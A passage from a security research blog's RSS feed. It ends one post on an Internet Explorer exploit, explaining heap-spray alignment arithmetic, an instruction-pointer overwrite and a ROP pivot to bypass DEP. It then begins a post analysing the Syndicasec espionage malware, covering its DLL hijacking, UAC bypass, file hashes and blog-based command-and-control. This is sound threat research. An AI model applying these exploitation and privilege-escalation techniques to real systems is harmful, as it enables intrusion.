&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzAiYmwgdZwb9HLIqb_nuPAm5e9xaSOt2iCygKTZeXo9kklL-VzTMmaSGk2N-U_LYPQR9K0PfxJvwyCAiQ3VpWGZvy41NkiAqRlopB3QEz3OerRw5guFfLskQADxZ27tuRmnhHLeAAdcc/s1600/19.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;679&quot; data-original-width=&quot;847&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzAiYmwgdZwb9HLIqb_nuPAm5e9xaSOt2iCygKTZeXo9kklL-VzTMmaSGk2N-U_LYPQR9K0PfxJvwyCAiQ3VpWGZvy41NkiAqRlopB3QEz3OerRw5guFfLskQADxZ27tuRmnhHLeAAdcc/s400/19.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
It is important to check in which heap chunk the target address is located, and turns out that it is in the chunk 0x0C090018 [ address might differ on other systems ]&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxD38cucxJnHeNXkKe0uHmoNbaCmLRFS6l8aChJAAhQWzgJk9PFXlLFEIbN2VOO1Cs8nlArAtXL5TVBMMfmCXZ-uhdru2ZvDUABMOTjFtXvuzvBW53nPhy6-Gj_skvri9DMKBLbZwPQhQ/s1600/20.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;169&quot; data-original-width=&quot;976&quot; height=&quot;68&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxD38cucxJnHeNXkKe0uHmoNbaCmLRFS6l8aChJAAhQWzgJk9PFXlLFEIbN2VOO1Cs8nlArAtXL5TVBMMfmCXZ-uhdru2ZvDUABMOTjFtXvuzvBW53nPhy6-Gj_skvri9DMKBLbZwPQhQ/s400/20.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Also, note below that data we want to place at the target address [ deaddead ] is not there at the moment.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaxgtt6PeBwMNCgzzsKgESGns2Kp-FucqixwjNq4tMNMlhUc8_ODab6GfY4F0LjRnkP1rvRuMHAYt5J6TK5ASli-8riSKvPAtKCvrbjzpEt6tgYubya1roqogu5F78G5eTbicuMzc7ftc/s1600/21.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;247&quot; data-original-width=&quot;969&quot; height=&quot;101&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaxgtt6PeBwMNCgzzsKgESGns2Kp-FucqixwjNq4tMNMlhUc8_ODab6GfY4F0LjRnkP1rvRuMHAYt5J6TK5ASli-8riSKvPAtKCvrbjzpEt6tgYubya1roqogu5F78G5eTbicuMzc7ftc/s400/21.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, here is our mathematics to achieve the precise heap spray such that, our controlled data &quot;deaddead&quot; will be certainly placed at our target address 0x0C0C0C0C.&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Subtracting the heap entry address from the target address gives us the total distance from the heap entry to our controlled data. 0x0C0C0C0C - 0C090018 = 30BF4 . We need to determine the offset into this heap chunk, such that when we add 0x1000 to the heap entry and subtract the resulting address from 0x0C0C0C0C, then value is less than 0x1000 [ i.e 4096 ]. With the little bit of experimentation, that heap address comes out to be 0x0C0C0018.&lt;/li&gt;
&lt;li&gt;Subtracting 0x0C0C0018 from our target address 0x0C0C0C0C = BF4.&amp;nbsp; If we divide this by 2 and then again subtract 6 from the resulting value, i.e ( BF4 / 2 ) - 6 , for BSTR header of 4 bytes and null characters of 2 bytes we have value 5F4&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Now if we insert the padding of this size , we can align our shellcode exactly to the target address.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
We&#39;ll have to modify the above basic heap spray script such that the data we&#39;d like to place &quot;deaddead&quot; is at the target address. I will leave this as a exercise to the reader. If you do this correctly, it should look like below:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpFlTvWZT-Pms1y3T7d2sagzAcDt-o3jBxIIo97K31fTh2E5FIAV7f6wLPNlDdGIeQx_4StoOLNKvE4d-NQkhvRF7sAMKH1r5y4MQNc-7nn7iyy_0dhn-E_PB93h6NvTI312USTLwtwN0/s1600/22.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;249&quot; data-original-width=&quot;1017&quot; height=&quot;97&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpFlTvWZT-Pms1y3T7d2sagzAcDt-o3jBxIIo97K31fTh2E5FIAV7f6wLPNlDdGIeQx_4StoOLNKvE4d-NQkhvRF7sAMKH1r5y4MQNc-7nn7iyy_0dhn-E_PB93h6NvTI312USTLwtwN0/s400/22.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This validates our claim that with the careful crafting of the exploit, attacker can place the shellcode at the address of his choosing and eventually control the program execution. Finally, go ahead and embed the heap spray function into our main exploit POC code and we should see the Instruction Pointer register ( EIP ) overwritten with the dword &quot;0x64616564&quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQKW_TDpqprtNIGf_CSVM7EWj2-J5WLMq-49JbCb1NmyHq46YPsiwxM-5nUTT2RE_39o2a-1LcxW6RGc03tR8tt2m5lkFmXR-DXA5aGMR9Jdug4W_CnoW8QuzKe5cb9qIuT1BMUwhUoAo/s1600/16.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;513&quot; data-original-width=&quot;963&quot; height=&quot;212&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQKW_TDpqprtNIGf_CSVM7EWj2-J5WLMq-49JbCb1NmyHq46YPsiwxM-5nUTT2RE_39o2a-1LcxW6RGc03tR8tt2m5lkFmXR-DXA5aGMR9Jdug4W_CnoW8QuzKe5cb9qIuT1BMUwhUoAo/s400/16.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Attacker can craft the exploit to place the Stack Pivot ROP gadget here which will pivot the ESP to the heap and start executing the ROP chain, subsequently bypassing Data Exexution Prevention and executing arbitrary code.&lt;br /&gt;
&lt;br /&gt;
GAME OVER. !!.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</description><link>http://extreme-security.blogspot.com/2015/01/analyzing-2014-0282-internet-explorer.html</link><author>noreply@blogger.com (Chintan Shah)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpzPvHYo_1ed8Srv3vHZ-ZdEijQPL81s1vBmimPn2A9HhHrlxIO2Sa7hFb1dcBo-SzGKW3YIKPkNseYvCmQAYbYxkmlwQNHCpLTRo6ethNg1t0n9A4wDXLOsYUiA-41Q8GclI1gYR8Jxk/s72-c/1.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7570290518879810718.post-4469511074803757181</guid><pubDate>Tue, 23 Dec 2014 10:34:00 +0000</pubDate><atom:updated>2014-12-23T16:06:05.252+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">APT and Targeted Attacks</category><category domain="http://www.blogger.com/atom/ns#">Malware Techniques</category><category domain="http://www.blogger.com/atom/ns#">Vulnerability and Exploit Research</category><title>Operation Mangal - Win32 / Syndicasec Used In Targeted Attacks Against Indian Government Organizations - Part-2 : Demystifying The Malware And Its Network Communications</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
In the &lt;a href=&quot;http://extreme-security.blogspot.in/2014/12/operation-mangal-win32-syndicasec-used.html&quot; target=&quot;_blank&quot;&gt;previous blog&lt;/a&gt; on this campaign , I walked through the exploit , the timeline and the possible attack targets . Out here , I&#39;ll take a more deeper look into the malware family dropped and its communication to the command and control servers.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;b&gt;Dropped Malware family : Win32 / Syndicasec :&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
dw20.exe, 1st stage dropper executable dropped by all &amp;nbsp;the RTF exploits involved in this a attack, is a malware family dubbed as Win32/Syndicasec by &lt;a href=&quot;http://www.virusradar.com/en/Win32_Syndicasec.A/description&quot; target=&quot;_blank&quot;&gt;ESET&lt;/a&gt;&lt;span id=&quot;goog_1728286917&quot;&gt;&lt;/span&gt;&lt;span id=&quot;goog_1728286918&quot;&gt;&lt;/span&gt;&lt;a href=&quot;https://www.blogger.com/&quot;&gt;&lt;/a&gt;. This malware was identified back in March 2013 during which it was used in the cyber espionage attempt against the Tibetian activist and was also used in multiple other targeted campaigns. Previous versions of this threat was also discovered way back in July 2010 during which it was active in Nepal and China, as I indicated earlier.However, the payload and the mechanism of this malware has evolved since then.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
I have uncovered that this threat is now also being currently used in the espionage attempt against the Indian government organizations. We can very well confirm the threat similarity based on the behavioural pattern on the system during the execution.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
It tries to determine the presence of sysprep.exe in the system32 and sysnative directory and then it goes to extract the embedded executable from the resource section , drops it in the %Temp% directory with the name gupdate.exe&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgpGccGOkTDaLohGTVTt2I7FVKcFfvseLGBux81-syXDBU68JKTUmxDFLPrnqBujWHUmFbvZCRVNsICFsuFxT2FL_A-3J4NUZ-qpj6aG_YYKQoP_6sHPQqkEagttgCUPtHmSbEc8Rq2go/s1600/trace2.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgpGccGOkTDaLohGTVTt2I7FVKcFfvseLGBux81-syXDBU68JKTUmxDFLPrnqBujWHUmFbvZCRVNsICFsuFxT2FL_A-3J4NUZ-qpj6aG_YYKQoP_6sHPQqkEagttgCUPtHmSbEc8Rq2go/s1600/trace2.png&quot; height=&quot;45&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjs__RFwZXonBPrl8ktTONDm2ovli7zZmEQ61MqVmUbZLtXb01N-yvRZSBZ2FupBRoaa0cy_vZh0QZ5uRDt4vcFT_qioFdfEbSgvxUMD8CXxMimxnZiTsHf_U3R9kJ6IlbEdwrN9aS8Fms/s1600/trace1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjs__RFwZXonBPrl8ktTONDm2ovli7zZmEQ61MqVmUbZLtXb01N-yvRZSBZ2FupBRoaa0cy_vZh0QZ5uRDt4vcFT_qioFdfEbSgvxUMD8CXxMimxnZiTsHf_U3R9kJ6IlbEdwrN9aS8Fms/s1600/trace1.png&quot; height=&quot;61&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Subsequently , it reads the Cabinet file embedded in the resource section , into the memory , extracts it into the /sysprep directory with the name cryptbase.dll , using the Windows Update Standalone Agent ( wusa.exe ).The technique used here to load the custom cryptbase.dll is what we call as DLL Load Order Hijacking . Sysprep.exe usually loads the cryptbase.dll, which is directly under the system32 and is not in the OS’s &amp;nbsp;Known_DLLs list . If the malware drops the DLL with the same name in the system32/sysprep/ directory , then the dropped dll would be loaded instead of the one directly under the system32 , because of the DLL search order. Further, it exploits the vulnerability in the Microsoft UAC whitelist process allowing it to run the arbitrary command with the elevated privileges.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ3a2Y1VpBP0mhy7R_lrxdQUiVNdtVPJDl1W4Y0hbg-PZalYlIdXzZ7RZfFO8EwXhIoYUJhOPirmaKNloXLpSZv3PsS9C0wxGdbf69qzNdLaue_Y3iCuRThoAUJbeaBykXJa_C4KFeKj0/s1600/trace3.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ3a2Y1VpBP0mhy7R_lrxdQUiVNdtVPJDl1W4Y0hbg-PZalYlIdXzZ7RZfFO8EwXhIoYUJhOPirmaKNloXLpSZv3PsS9C0wxGdbf69qzNdLaue_Y3iCuRThoAUJbeaBykXJa_C4KFeKj0/s1600/trace3.png&quot; height=&quot;105&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Below are all the hashes of the 1st stage dropper along with the compile time which would give the fair enough idea of the timeline of the attack.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; style=&quot;border-collapse: collapse; width: 395px;&quot;&gt;
 &lt;colgroup&gt;&lt;col style=&quot;mso-width-alt: 10126; mso-width-source: userset; width: 214pt;&quot; width=&quot;285&quot;&gt;&lt;/col&gt;
 &lt;col style=&quot;mso-width-alt: 3925; mso-width-source: userset; width: 83pt;&quot; width=&quot;110&quot;&gt;&lt;/col&gt;
 &lt;/colgroup&gt;&lt;tbody&gt;
&lt;tr height=&quot;19&quot; style=&quot;height: 14.4pt;&quot;&gt;
  &lt;td class=&quot;xl64&quot; height=&quot;19&quot; style=&quot;height: 14.4pt; padding-bottom: 0in; padding-top: 0in; width: 214pt;&quot; width=&quot;285&quot;&gt;&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; style=&quot;border-collapse: collapse; width: 415px;&quot;&gt;
 &lt;colgroup&gt;&lt;col style=&quot;mso-width-alt: 10126; mso-width-source: userset; width: 214pt;&quot; width=&quot;285&quot;&gt;&lt;/col&gt;
 &lt;col style=&quot;mso-width-alt: 4608; mso-width-source: userset; width: 97pt;&quot; width=&quot;130&quot;&gt;&lt;/col&gt;
 &lt;/colgroup&gt;&lt;tbody&gt;
&lt;tr height=&quot;19&quot; style=&quot;height: 14.4pt;&quot;&gt;
  &lt;td class=&quot;xl65&quot; height=&quot;19&quot; style=&quot;height: 14.4pt; padding-bottom: 0in; padding-top: 0in; width: 214pt;&quot; width=&quot;285&quot;&gt;MD5s&lt;/td&gt;
  &lt;td class=&quot;xl66&quot; style=&quot;padding-bottom: 0in; padding-top: 0in; width: 97pt;&quot; width=&quot;130&quot;&gt;Compile time&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr height=&quot;19&quot; style=&quot;height: 14.4pt;&quot;&gt;
  &lt;td class=&quot;xl65&quot; height=&quot;19&quot; style=&quot;height: 14.4pt; padding-bottom: 0in; padding-top: 0in;&quot;&gt;1B83B315B7A729CB685270496AE68802&lt;/td&gt;
  &lt;td class=&quot;xl66&quot; style=&quot;padding-bottom: 0in; padding-top: 0in;&quot;&gt;August 12, 2014&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr height=&quot;19&quot; style=&quot;height: 14.4pt;&quot;&gt;
  &lt;td class=&quot;xl65&quot; height=&quot;19&quot; style=&quot;height: 14.4pt; padding-bottom: 0in; padding-top: 0in;&quot;&gt;68BFA1B82DC0E2DE10D0CF8551938DEA&lt;/td&gt;
  &lt;td class=&quot;xl66&quot; style=&quot;padding-bottom: 0in; padding-top: 0in;&quot;&gt;August 12, 2014&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr height=&quot;19&quot; style=&quot;height: 14.4pt;&quot;&gt;
  &lt;td class=&quot;xl65&quot; height=&quot;19&quot; style=&quot;height: 14.4pt; padding-bottom: 0in; padding-top: 0in;&quot;&gt;C249CB532699E15B3CB6E9DEB6264240&lt;/td&gt;
  &lt;td class=&quot;xl66&quot; style=&quot;padding-bottom: 0in; padding-top: 0in;&quot;&gt;August 12, 2014&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr height=&quot;19&quot; style=&quot;height: 14.4pt;&quot;&gt;
  &lt;td class=&quot;xl65&quot; height=&quot;19&quot; style=&quot;height: 14.4pt; padding-bottom: 0in; padding-top: 0in;&quot;&gt;5A80F6F6D75FD8D95D7EC830DC669129&lt;/td&gt;
  &lt;td class=&quot;xl66&quot; style=&quot;padding-bottom: 0in; padding-top: 0in;&quot;&gt;August 12, 2014&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr height=&quot;19&quot; style=&quot;height: 14.4pt;&quot;&gt;
  &lt;td class=&quot;xl65&quot; height=&quot;19&quot; style=&quot;height: 14.4pt; padding-bottom: 0in; padding-top: 0in;&quot;&gt;2881F3EA27802FD9C1ED08C767083D12&lt;/td&gt;
  &lt;td class=&quot;xl66&quot; style=&quot;padding-bottom: 0in; padding-top: 0in;&quot;&gt;Feb 27, 2014&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr height=&quot;19&quot; style=&quot;height: 14.4pt;&quot;&gt;
  &lt;td class=&quot;xl65&quot; height=&quot;19&quot; style=&quot;height: 14.4pt; padding-bottom: 0in; padding-top: 0in;&quot;&gt;391552FB8DE3F45FB7DD9EF7B9CAA4BB&lt;/td&gt;
  &lt;td class=&quot;xl66&quot; style=&quot;padding-bottom: 0in; padding-top: 0in;&quot;&gt;Septr 5, 2014&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr height=&quot;19&quot; style=&quot;height: 14.4pt;&quot;&gt;
  &lt;td class=&quot;xl65&quot; height=&quot;19&quot; style=&quot;height: 14.4pt; padding-bottom: 0in; padding-top: 0in;&quot;&gt;13C4D1CA7256B1FBEEEE9DE532097A94&lt;/td&gt;
  &lt;td class=&quot;xl66&quot; style=&quot;padding-bottom: 0in; padding-top: 0in;&quot;&gt;August 12, 2014&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr height=&quot;19&quot; style=&quot;height: 14.4pt;&quot;&gt;
  &lt;td class=&quot;xl65&quot; height=&quot;19&quot; style=&quot;height: 14.4pt; padding-bottom: 0in; padding-top: 0in;&quot;&gt;7F5F57DE1734CC20D915AF68CC2821F2&lt;/td&gt;
  &lt;td class=&quot;xl66&quot; style=&quot;padding-bottom: 0in; padding-top: 0in;&quot;&gt;Feb 27, 2014&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr height=&quot;19&quot; style=&quot;height: 14.4pt;&quot;&gt;
  &lt;td class=&quot;xl65&quot; height=&quot;19&quot; style=&quot;height: 14.4pt; padding-bottom: 0in; padding-top: 0in;&quot;&gt;0E7DB6B6A6E4993A01A01DF578D65BF0&lt;/td&gt;
  &lt;td class=&quot;xl66&quot; style=&quot;padding-bottom: 0in; padding-top: 0in;&quot;&gt;Sept 5, 2014&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/td&gt;&lt;td class=&quot;xl64&quot; style=&quot;padding-bottom: 0in; padding-top: 0in; width: 83pt;&quot; width=&quot;110&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;19&quot; style=&quot;height: 14.4pt;&quot;&gt;&lt;td class=&quot;xl64&quot; height=&quot;19&quot; style=&quot;height: 14.4pt; padding-bottom: 0in; padding-top: 0in;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;right&quot; class=&quot;xl65&quot; style=&quot;padding-bottom: 0in; padding-top: 0in;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
The second-stage dropped file, gupdate.exe, connects to the command and control server. This communication is done in stages as well and uses the uncommon Windows Management Instrumentation system to register the JavaScript that connects to the first-stage URLs. The XOR routine for JavaScript follows:&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEge9erYdPCDRhkzbqqoYUrcGLATEWD6f29afWPaMbABEa0xj-J-L2zf9QR2hg5vglqzoOYCmtoZoR4Krs7fA3ZVhgeqVKrGoBWBhbK6CADJDTcoX6bGiOe2uWCyiDo1bkeOLT7tDEacyyU/s1600/url+decode.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEge9erYdPCDRhkzbqqoYUrcGLATEWD6f29afWPaMbABEa0xj-J-L2zf9QR2hg5vglqzoOYCmtoZoR4Krs7fA3ZVhgeqVKrGoBWBhbK6CADJDTcoX6bGiOe2uWCyiDo1bkeOLT7tDEacyyU/s1600/url+decode.png&quot; height=&quot;241&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Looking at the previous versions of this threat, JavaScript versions have changed every time this malware was used.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWA5IWRTIWNmXMPqF79t94QNyRCv4LME5DPWEesozQfh-rPcErQvftSIsnXsRHRNHDOEc60G9YR7VTIki_HqsBkq6DgtIB6mAiyOA737DAbiaB3EOoNZaPZpsQsHeGBUTTBtIbcT700_E/s1600/javascript1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWA5IWRTIWNmXMPqF79t94QNyRCv4LME5DPWEesozQfh-rPcErQvftSIsnXsRHRNHDOEc60G9YR7VTIki_HqsBkq6DgtIB6mAiyOA737DAbiaB3EOoNZaPZpsQsHeGBUTTBtIbcT700_E/s1600/javascript1.png&quot; height=&quot;232&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;b&gt;Command and Control communications :&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
The JavaScript is primarily responsible for connecting to the first- and second-stage URLs, which leads to the control server. Examining the multiple variants of the RTF exploits and the dropped binaries, we’ve found the following fake blogs with which variants of gupdate.exe communicate. All of the URLs point to the blogs’ RSS feeds, from which the encoded Stage 2 (control server) URL is fetched.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Stage 1 URL pointing to the RSS feeds of the fake blogs:&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
hxxp://kumar807.blogspot.com/feeds/posts/default&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
